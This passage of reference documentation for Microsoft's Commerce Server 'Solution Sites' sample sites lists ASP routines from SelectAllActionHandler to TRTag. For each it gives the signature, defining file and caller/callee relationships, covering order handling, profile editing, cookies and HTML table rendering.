Called By

DeleteAllProfiles

rsGetProfilesList

SaveAllSelectedProfiles

UpdateUserAccountControlProperty


SelectAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub provides the "Select All" action handler.

Definition

Sub SelectAllActionHandler(
  byVal sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

ReDirectToPage

Called By

htmEditPageActionHandlers


SelectedActionHandlerForList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub provides the "Selected" action handler for a LIST-type page.

Definition

Sub SelectedActionHandlerForList(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\list_handlers.asp

Routines Called

GenerateURL

iGetCountOfProfiles

sGetSelectActionPropertyName

sGetThisPageProperty

Called By

htmListPageActionHandlers


SetCreditCardInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the credit card information on all order forms.

Definition

Sub SetCreditCardInfo(
  mscsOrderGrp,
  dictKeys
)

Defined in File

crdtcard.asp

Routines Called

RemovePurchaseOrderInfo

SetKeyOnOrderForms

Called By

ValidateSubmittedCreditCardData


SetGlobalPagingVariables - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the global paging variables depending on the local variables passed to the sub.

Definition

Sub SetGlobalPagingVariables(
  byVal bRecordCountPresent,
  byVal nCountTemp,
  byRef iTotalRecords,
  byRef iPageNumber,
  byRef iTotalPages,
  byVal bIsProfilePage
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

tableRenderMultipleRecords

tableRenderOrdersListContents


SetKeyOnOrderForms - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the key on order forms.

Definition

Sub SetKeyOnOrderForms(
  byVal mscsOrderGrp,
  byVal sKey,
  byVal sValue
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

Main (_setadrs.asp)

SaveAddressToOrderGroup

SetCreditCardInfo

SetPurchaseOrderInfo


SetOptOutList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the opt-out list ID for the campaign item.

Definition

Sub SetOptOutList(
  conn_campaigns,
  campitem_id,
  list_id
)

Defined in File

opt-out.asp

Routines Called

None.

Called By

OptOut


SetPurchaseOrderInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the purchase order payment information on all order forms.

Definition

Sub SetPurchaseOrderInfo(
  mscsOrderGrp,
  dictKeys
)

Defined in File

po.asp

Routines Called

RemoveCreditCardInfo

SetKeyOnOrderForms

Called By

ValidateSubmittedPurchaseOrderData


SetTestCookie - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets a test cookie to learn if a browser allows cookies.

Definition

Sub SetTestCookie(
  byVal sCookieType
)

Parameters

sCookieType
A string containing the name of the cookie type. Legal values for this string are persistent_cookie and session_cookie.

Defined in File

include\std_cookie_lib.asp

Routines Called

GetIISApplicationName

Called By

IsPersistentCookieAllowed

PrepareLoginPage

PrepareNewUserPage


SetupAddressForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares the address form for display.

Definition

Sub SetupAddressForm(
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef iAddrType,
  byRef sAction,
  byRef sAddrID
)

Defined in File

newaddr.asp

Routines Called

CatchErrors (newaddr.asp)

dictGetInitialFieldValues

FetchData

GenerateURL

GetSubmittedFieldValues

IsFormSubmitted

iValidateSubmittedAddressForAddressBook

UpdateAddressBook

Called By

Main (newaddr.asp)


SetupPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets page variables, trims off the leading characters associated with the virtual directory, gathers user information, determines the cookie type, sets the language and calls the Main subroutine.

Definition

Sub SetupPage()

Parameters

None.

Defined in File

include\setupenv.asp

Routines Called

CorrectRequest

GetAuthManagerObject

GetTicketLocation

GetUserInfo

Main (in whichever file has included the file include\setupenv.asp)

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


sGetAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines the action to be taken for the current page.

Definition

Function sGetAction()

Parameters

None.

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

Called By

InitializePartnerDesk


sGetActiveDirectoryDefaultNamingContext - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the Active Directory domain name.

Definition

Function sGetActiveDirectoryDefaultNamingContext()

Parameters

None.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


sGetAddressName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the address name field of the specified address ID in the specified order group.

Definition

Function sGetAddressName(
  mscsOrderGrp,
  addr_id
)

Defined in File

services\include\logic_orders.asp

Routines Called

None.

Called By

tblRenderOrderDetailsContents


sGetAdminsOnly - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines which users specified by the input parameter sProfileIDs are administrators (for example, the FIELD_USER_PARTNERDESK_ROLE is specified as ROLE_ADMIN) and returns a string that contains the profile IDs of those administrators.

Definition

Function sGetAdminsOnly(
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetUserPropertyFromID

Called By

SaveUserAccountControlProperty


sGetDefaultShippingMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the default shipping method as a string.

Definition

Function sGetDefaultShippingMethod(
  mscsOrderGrp,
  dictAggregate
)

Defined in File

pickship.asp

Routines Called

GetAnyLineItem

Called By

htmRenderShippingOptionsEx


sGetDisplayValueForProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the display text for properties of type Number.

Definition

Function sGetDisplayValueForProperty(
  byVal sPropertyName,
  byVal sPropertyValue
)

Defined in File

services\include\lib.asp

Routines Called

sGetOrderStatusDetails

sGetUserPartnerDeskRole

sGetUserStatus

Called By

arrPopulateProfileDetails


sGetIDFromForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function loops through the FORM collection to determine the selected profiles.

Definition

Function sGetIDFromForm()

Parameters

None.

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

Called By

sGetSelectedIDs


sGetOrderStatusDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the description for the order status code.

Definition

Function sGetOrderStatusDetails(
  byVal iOrderStatus
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

arrPopulateOrderHeaderDetails

sGetDisplayValueForProperty

tblRenderOrderDetailsContents


sGetPageHeading - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the page heading.

Definition

Function sGetPageHeading(
  byVal sPageName
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderOrderDetails

htmRenderOrderList

htmRenderProfilesList


sGetParentDN - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the ParentDN property related to an organization.

Definition

Function sGetParentDN()

Parameters

None.

Defined in File

services\include\lib.asp

Routines Called

GetOrgAttributeFromID

Called By

None.


sGetPaymentMethodString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the friendly, localizable version of the payment method identifier as a string.

Definition

Function sGetPaymentMethodString(
  sMethodID
)

Defined in File

services\include\logic_orders.asp

Routines Called

None.

Called By

tblRenderOrderDetailsContents


sGetPropertyDisplayName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the display name for a catalog property when available. Otherwise it returns the property column name.

Definition

Function sGetPropertyDisplayName(
  byVal sPropName
)

Parameters

sPropName
A string containing the name of the property.

Return Value

A string containing either the property's display name attribute, if it was set, or the name of the property.

Defined in File

product.asp

Routines Called

None.

Called By

htmRenderUserDefinedProductProperties

htmRenderVariantsList


sGetReferenceString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the reference string attribute value for a given property element.

Definition

Function sGetReferenceString(
  byRef oXMLProperty
)

Defined in File

include\global_siteterms_lib.asp

Routines Called

None.

Called By

oGetSiteTermOptions


sGetScriptError - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an error string populated from the Error object.

Definition

Function sGetScriptError(
  oErr
)

Parameters

oErr
A reference to the Error object.

Return Value

A string containing the HTML representation of the Error object properties displayed in a table.

Defined in File

BDRefresh.asp

Routines Called

None.

Called By

This routine is called by code outside of any routine (sub or function) in the file BDRefresh.asp.


sGetSelectActionPropertyName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property name for the Select Action button that was clicked.

Definition

Function sGetSelectActionPropertyName(
  byVal sAction
)

Defined in File

services\include\lib.asp

Routines Called

GetRequestString

Called By

colRenderForeignKeyProperty

formRenderListPageContents

htmRenderMessageBoxPage

PrepareSelectActionHandlerForEdit

SelectedActionHandlerForList

UpdateSelectActionPropertyName


sGetSelectedIDs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the profile IDs.

Definition

Function sGetSelectedIDs(
  byVal sAction
)

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

sGetIDFromForm

Called By

InitializePartnerDesk


sGetSubAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the sub action.

Definition

Function sGetSubAction

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

Called By

InitializePartnerDesk


sGetThisPageProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the page properties.

Definition

Function sGetThisPageProperty(
  byVal sPageName,
  byVal sPropertyName
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

AddSetClauseAndUpdateUserAccountControl

arrPopulateProfileDetails

bCheckIfProfileExists

bInsertProfile

bInsertProfileDetails

bSaveProfileDetails

CloseOrderDetailsActionHandler

colRenderPrimaryKeyProperty

DeleteSingleProfile

formRenderListPageContents

GetSearchDictionaryForThisPage

GetTableNameAndWhereClause

htmEditAction

listCloneProfileSchema

PrepareCloseAction

PrepareCloseOrderDetailsAction

PrepareCopyAction

PrepareDeleteAction

PrepareDeleteAllAction

PrepareDeselectAllAction

PrepareOrderList

PrepareSaveAllAction

PrepareSelectAllAction

RedirectOrderDetailsForIDs

rsGetProfileDetails

SaveCommonValueForAllSelectedRecords

SelectedActionHandlerForList

tableRenderFooterInfo


sGetUserAccessForThisProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the current user access privileges for this property.

Definition

Function sGetUserAccessForThisProperty(
  byVal iUserClass,
  byVal oProperty
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

bInsertProperty

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

tableRenderBlankProfile

tableRenderProfiles

ValidateFields


sGetUserFullName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the full name (last name + first name) of the user.

Definition

Function sGetUserFullName(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetUserPropertyFromID

Called By

None.


sGetUserIDForNewGuestUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the user ID for a new guest user.

Definition

Function sGetUserIDForNewGuestUser(
  byVal rsUser
)

Defined in File

include\std_access_lib.asp

Routines Called

None.

Called By

EnsureAccess

Main (login\_guest.asp)


sGetUserLoginName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the login name of a user.

Definition

Function sGetUserLoginName(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetUserPropertyFromID

Called By

colRenderForeignKeyProperty


sGetUserPartnerDeskRole - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the i_partnerdeskroleflags description for the user.

Definition

Function sGetUserPartnerDeskRole(
  byVal iPartnerDeskRole
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

sGetDisplayValueForProperty


sGetUsersOnly - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines which users specified by the input parameter sProfileIDs are users (for example, do not have an admin profile) and returns a string that contains the profile IDs of those users.

Definition

Function sGetUsersOnly(
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetUserPropertyFromID

Called By

SaveUserAccountControlProperty


sGetUserStatus - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the status code description for the user.

Definition

Function sGetUserStatus(
  byVal iUserStatus
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

sGetDisplayValueForProperty


sGetWhereClauseForCurrentUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the WHERE clause for the current user.

Definition

Function sGetWhereClauseForCurrentUser(
  bFieldSelected
)

Defined in File

services\include\delete_profiles.asp

Routines Called

EnsureUserProfile

GetQualifiedName

Called By

DeleteAllProfiles


ShowRefinedSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub shows the refined search.

Definition

Sub ShowRefinedSearch(
  byRef sCatalogName,
  byRef sCategoryName,
  byRef rsFields,
  byRef arr1,
  byRef arr2,
  byVal iMatchesFound,
  byVal iConstraintFieldsCount,
  byVal iNonConstraintFieldsCount,
  byRef bNoValues,
  byRef htmContent
)

Parameters

sCatalogName
A string containing the name of the catalog, passed through to the function RenderHiddenField.
sCategoryName
A string containing the name of the category, passed through to the function RenderHiddenField.
rsFields
A reference to a Recordset object containing the searchable fields, passed through to the function RemoveBlankItemsFromArray.
arr1
An array of non-constraining searchable properties.
arr2
An array of constraining searchable properties, passed through to the functions RenderText, GetRequestString, and RenderHiddenField.
iMatchesFound
An integer that specifies the number of matches found, passed through to the function RenderText.
iConstraintFieldsCount
An integer that specifies the number of constraint fields.
iNonConstraintFieldsCount
An integer that specifies the number of non-constraint fields.
bNoValues
A Boolean indicating whether there are no values.
htmContent
An HTML string containing the HTML representation of the refined search results.

Defined in File

stepsrch.asp

Routines Called

BooleanToString

GenerateURL

GetRequestString

RemoveBlankItemsFromArray

RenderForm

RenderHiddenField

RenderListBoxFromArray

RenderSubmitButton

RenderText

Space

Called By

htmRenderStepSearchPageContent


ShowSearchMatches - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub shows search matches.

Definition

Sub ShowSearchMatches(
  byRef oCatalog,
  byRef rsResults,
  byVal iMatchesFound,
  byRef htmContent
)

Parameters

oCatalog
A reference to a ProductCatalog object.
rsResults
A reference to a Recordset object containing the search results, passed through to the functions RenderCategoryLink and RenderProductLink.
iMatchesFound
An integer that specifies the number of matches found, passed through to the function RenderText.
htmContent
An HTML string containing the HTML representation of the refined search results.

Defined in File

stepsrch.asp

Routines Called

RenderCategoryLink

RenderProductLink

RenderText

Called By

htmRenderStepSearchPageContent


sLookUpPaymentMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function looks up the payment method.

Definition

Function sLookUpPaymentMethod(
  mscsOrderGrp,
  listMethods
)

Defined in File

dispatch.asp

Routines Called

GetDefaultPaymentMethodForUser

IsEntityInList

Called By

Main (dispatch.asp)


SortDictionaryKeys - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function sorts the keys for a Dictionary object and puts the result into a SimpleList object.

Definition

Function SortDictionaryKeys(
  Dictionary
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

CheckBasket

htmRenderSummaryPage


Space - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function counts spaces and renders the appropriate number of HTML spaces (&nbsp).

Definition

Function Space(
  byVal iSize
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

ShowRefinedSearch


sReConstructPageURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function re-constructs the page URL and replaces the key values.

Definition

Function sReConstructPageURL(
  byVal arrQSKeyName,
  byVal arrQSKeyValue
)

Defined in File

services\include\render_common.asp

Routines Called

sReplaceString

Called By

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

formRenderOrderSearchOptions

formRenderPagingButtons

formRenderProfileSearchOptions


sRenderAddress - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders an address dictionary.

Definition

Function sRenderAddress(
  dictAddress
)

Defined in File

services\include\render_orders.asp

Routines Called

None.

Called By

tblRenderOrderDetailsContents

Remarks

The source code also illustrates how to render an alternative address format.


sRenderHTMLPreFixForProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Required" icon or check box (for multi-edits) before each property in an EDIT-type page.

Definition

Function sRenderHTMLPreFixForProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

htmRenderBlankSpaces

iGetCountOfProfiles

RenderCheckBox

Called By

rowRenderBlankProperty

rowRenderProperty


sReplaceString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function replaces or adds the value for a key in a query string with a new value.

Definition

Function sReplaceString(
  byVal sQueryString,
  byVal sEncodedKey,
  byVal sEncodedNewValue
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

sReConstructPageURL


StringToBoolean - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a String to a Boolean.

Definition

Function StringToBoolean(
  sValue
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

None.


SubmitUsingBizTalk - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function submits an order using the Submit method of the BizTalk Server Interchange object.

Definition

Function SubmitUsingBizTalk(
  byVal sXML,
  byVal sVendorName,
  byVal sDestQual,
  byVal sDestQualValue
) (
  changing
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

InvokeBizTalk


sUserCatalogsAsString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the catalogs associated with a user as a comma-separated list, suitable for passing to various catalog methods that accept a list of catalogs as a parameter.

Definition

Function sUserCatalogsAsString()

Parameters

None.

Return Value

A string containing the catalogs associated with the user, as a comma-separated list.

Defined in File

include\catalog.asp

Routines Called

mscsUserCatalogs

Called By

rsFreeTextSearch


tableChangePasswordTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders Save and Close buttons with their appropriate text messages wrapped in a table.

Definition

Function tableChangePasswordTasks(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_password.asp

Routines Called

htmRenderBlankSpaces

iGetCountOfProfiles

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderChangePasswordPageContents


tableRenderBlankProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render tables for blank editing pages.

Definition

Function tableRenderBlankProfile(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

iGetCurrentUserPropertyAccessClass

RenderTable

rowRenderBlankProperty

rowRenderEditSheetBlankLine

rowRenderPropertyGroup

rowRenderReadOnlyProperty

sGetUserAccessForThisProperty

Called By

formRenderBlankEditPageBody


tableRenderChangePasswordContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the Password Change edit page.

Definition

Function tableRenderChangePasswordContents(
  byVal rsUser,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_password.asp

Routines Called

GetRequestString

RenderPasswordBox

RenderTable

TRTag

Called By

formRenderChangePasswordPageContents


tableRenderEditPageTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders tasks buttons for the current page.

Definition

Function tableRenderEditPageTasks(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

htmRenderBlankSpaces

iGetCountOfProfiles

RenderCheckBox

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderBlankEditPageBody

formRenderEditPageBody


tableRenderFooterInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders footer information for the current page.

Definition

Function tableRenderFooterInfo(
  byVal sAction,
  byVal sSubAction,
  byVal iPageNumber,
  byVal iTotalRecords,
  byVal iTotalPages,
  byVal bRequiresPagingCtrls,
  byVal bRequiresLastPageCtrl
)

Defined in File

services\include\render_common.asp

Routines Called

Bold

FormatOutput

formRenderPagingButtons

htmRenderBlankSpaces

RenderTable

RenderText

sGetThisPageProperty

TRTag

Called By

htmRenderOrderList

htmRenderProfilesList


tableRenderListPageTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders tasks specific to LIST-type pages.

Definition

Function tableRenderListPageTasks(
  byVal sAction,
  byVal sSubAction
)

Defined in File

services\include\render_list.asp

Routines Called

htmRenderBlankSpaces

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderListPageContents


tableRenderMessageBoxPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a message box page.

Definition

Function tableRenderMessageBoxPage(
  byVal sTitle,
  byVal sHeading,
  byVal bNumberList,
  byVal arrBody,
  byVal sFooter,
  byVal arrButtons,
  byVal arrDestination,
  byVal arrSaveFormPosted
)

Defined in File

services\include\render_messagebox.asp

Routines Called

Bold

RenderTable

rowRenderMessageBoxPageContents

tableRenderMessageBoxPageButtons

TRTag

Called By

htmRenderMessageBoxForCancel

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect


tableRenderMessageBoxPageButtons - Solution Sites Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page submit buttons.

Definition

Function tableRenderMessageBoxPageButtons(
  byVal arrButtons,
  byVal arrDestination,
  byVal arrSaveFormPosted
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GetRequestString

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTable

TRTag

Called By

tableRenderMessageBoxPage


tableRenderMultipleRecords - Solution Sites Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds list contents to the current page.

Definition

Function tableRenderMultipleRecords(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfiles,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byRef bIsEmpty
)

Defined in File

services\include\render_list.asp

Routines Called

arrPopulateProfileDetails

htmRenderEmptyRecordSet

RelocateRecordPointer2

RenderTable

rowRenderListHeading

SetGlobalPagingVariables

TRTag

Called By

formRenderListPageContents


tableRenderOrdersListContents - Solution Sites Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a table of orders, including hidden fields containing the order number for each record.

Definition

Function tableRenderOrdersListContents(
  byVal sAction,
  byVal sSubAction,
  byVal rsOrders,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages
)

Defined in File

services\include\render_orders.asp

Routines Called

arrPopulateOrderHeaderDetails

htmRenderEmptyRecordSet

RelocateRecordPointer

RenderHiddenField

RenderTable

rowRenderListHeadingForOrders

SetGlobalPagingVariables

TRTag

Called By

formRenderOrdersListContents

Remarks

A paging mechanism ensures that the records are displayed up to the maximum specified by the RECORDS_PER_PAGE constant value.


tableRenderOrdersListTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a toolbar containing tasks that can be performed on an order in the list. By default, this will show a button displaying the text stored in the MessageManager L_ORDERDETAILS_ACTION_BUTTON message and allows the user to see order details.

Definition

Function tableRenderOrdersListTasks(
  sAction
)

Defined in File

services\include\render_orders.asp

Routines Called

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderOrdersListContents


tableRenderProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders an edit page for a profile.

Definition

Function tableRenderProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfile,
  byVal sProfileIDs,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

iGetCountOfProfiles

iGetCurrentUserPropertyAccessClass

RenderTable

rowRenderEditSheetBlankLine

rowRenderHiddenProperty

rowRenderProperty

rowRenderPropertyGroup

rowRenderReadOnlyProperty

sGetUserAccessForThisProperty

Called By

formRenderEditPageBody


Tag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function encloses the text segment between a beginning and an ending HTML tag.

Definition

Function Tag(
  byVal sTagName,
  byVal htmText
)

Parameters

sTagName
A string containing the tag.
htmText
An HTML string containing the text to be displayed.

Return Value

A string containing the HTML representation of the starting tag, the text to be displayed, and the ending tag.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

RenderNavbar

RenderPreFormattedText


tblOrderDetailsTasks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a CANCEL_ACTION button for use in rendering the order details, and is used when the user wants to close the displayed page.

Definition

Function tblOrderDetailsTasks(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_orders.asp

Routines Called

RenderSubmitButton

RenderTable

TRTag

Called By

formRenderOrderContents


tblRenderOrderDetailsContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function displays order header and line items in an table format.

Definition

Function tblRenderOrderDetailsContents(
  byVal rsOrder
)

Defined in File

services\include\render_orders.asp

Routines Called

Bold

cellRenderReadOnlyProperty

GetAnyOrderForm

htmRenderBlankSpaces

htmRenderCurrency

mscsGetOrderGroupWithDiscountsByID

RenderTable

rowRenderLineItemHeader

sGetAddressName

sGetOrderStatusDetails

sGetPaymentMethodString

sRenderAddress

TRTag

Called By

formRenderOrderContents


TDTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a data cell in an HTML table.

Definition

Function TDTag(
  byVal sDataCell,
  byVal sAlignment,
  byVal sAttrib
)

Defined in File

services\include\lib.asp

Routines Called

DoubleQuote

Called By

TRTag

Remarks

The routine RenderTableDataRow provides an alternative, preferred method for constructing HTML table data cells.


TerminateConfirmationPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called by Main, sets the objects on the confirmation page to Nothing.

Definition

Sub TerminateConfirmationPage(
  byRef mscsOrderGrp
)

Defined in File

confirm.asp

Routines Called

None.

Called By

Main (confirm.asp)


TerminatePO - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called by Main, sets purchase order objects to Nothing.

Definition

Sub TerminatePO(
  byRef mscsOrderGrp,
  byRef listMethods,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef listFlds
)

Defined in File

po.asp

Routines Called

None.

Called By

Main (po.asp)


TerminateSummaryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called by Main, sets the objects on the summary page to Nothing.

Definition

Sub TerminateSummaryPage(
  byRef mscsOrderGrp,
  byRef mscsAnyOrderForm,
  byRef dictAnyItem,
  byRef listMethods
)

Defined in File

summary.asp

Routines Called

None.

Called By

Main (summary.asp)


THTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a header cell in an HTML table.

Definition

Function THTag(
  byVal sHeaderCell,
  byVal sAlignment,
  byVal sAttrib
)

Defined in File

services\include\lib.asp

Routines Called

DoubleQuote

Called By

TRTag

Remarks

The routine RenderTableHeaderRow provides an alternative, preferred method for constructing HTML table header cells.


TRTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a table row.

Definition

Function TRTag(
  byVal arrCell,
  byVal arrCellAlignment,
  byVal sAttList,
  byVal bHeaderRow,
  byVal sAttrib
)

Defined in File

services\include\lib.asp

Routines Called

TDTag

THTag

Called By

cellRenderReadOnlyProperty

formRenderOrderSearchOptions

formRenderProfileSearchOptions

htmRenderEmptyRecordSet

rowRenderAdvancedSearchOptionsForOrders

rowRenderBlankProperty

rowRenderEditSheetBlankLine

rowRenderLineItemHeader

rowRenderListHeading

rowRenderListHeadingForOrders

rowRenderMessageBoxPageContents

rowRenderProperty

rowRenderPropertyGroup

